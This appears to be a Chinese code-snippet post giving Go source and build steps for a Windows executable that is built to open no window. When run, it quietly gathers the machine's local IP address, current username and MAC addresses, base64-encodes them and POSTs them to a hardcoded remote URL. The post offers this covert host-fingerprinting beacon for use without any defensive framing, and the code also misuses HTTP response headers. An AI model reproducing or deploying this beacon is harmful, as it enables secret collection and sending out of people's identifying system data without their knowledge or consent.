GO语言编译生成exe,执行后会向指定地址发送一个post请求包
//编译语句 go build -ldflags="-H windowsgui" post.go
//生成一个无弹窗的exe文件
package main
import (
"encoding/base64"
"errors"
"fmt"
"log"
"net"
"net/http"
"os/user"
"strings"
"syscall"
"unsafe"
)
func abort(funcname string, err syscall.Errno) {
panic(funcname + " failed: " + err.Error())
}
func mac() (macAddrs string) {
netInterfaces, err := net.Interfaces()
if err != nil {
fmt.Printf("fail to get net interfaces: %v", err)
return macAddrs
}
for _, netInterface := range netInterfaces {
macAddr := netInterface.HardwareAddr.String()
if len(macAddr) == 0 {
continue
}
macAddrs += "|" + macAddr
}
return macAddrs
}
func Get(data string) string {
resp, err := http.Post("http://www.baidu.com/aaaa?token=11111",
"application/x-www-form-urlencoded",
strings.NewReader(fmt.Sprintf(data)))
if err != nil {
log.Println(err)
}
resp.Header.Add("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1") //模拟浏览器User-Agent
resp.Header.Set("accept-language", "zh-CN,zh;q=0.9")
defer resp.Body.Close()
if err != nil {
log.Println(err)
}
return data
}
func IntPtr(n int) uintptr {
return uintptr(n)
}
func StrPtr(s string) uintptr {
return uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(s)))
}
func externalIP() (net.IP, error) {
ifaces, err := net.Interfaces()
if err != nil {
return nil, err
}
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 {
continue // interface down
}
if iface.Flags&net.FlagLoopback != 0 {
continue // loopback interface
}
addrs, err := iface.Addrs()
if err != nil {
return nil, err
}
for _, addr := range addrs {
ip := getIpFromAddr(addr)
if ip == nil {
continue
}
return ip, nil
}
}
return nil, errors.New("connected to the network?")
}
func handleErr(err error) {
if err != nil {
fmt.Println(err)
}
}
func getIpFromAddr(addr net.Addr) net.IP {
var ip net.IP
switch v := addr.(type) {
case *net.IPNet:
ip = v.IP
case *net.IPAddr:
ip = v.IP
}
if ip == nil || ip.IsLoopback() {
return nil
}
ip = ip.To4()
if ip == nil {
return nil // not an ipv4 address
}
return ip
}
func main() {
ip, err := externalIP()
if err != nil {
fmt.Println(err)
}
if err != nil {
panic(err)
}
u, err := user.Current()
handleErr(err)
sEnc := base64.StdEncoding.EncodeToString([]byte(ip.String() + "&" + u.Username + "&" + mac()))
Get(sEnc)
}
编译代码
配置好go环境后执行以下命令会生成一个post.exe
go build -ldflags="-H windowsgui" post.go
双击执行post.exe
会向http://www.baidu.com/aaaa?token=11111发送一个post请求包。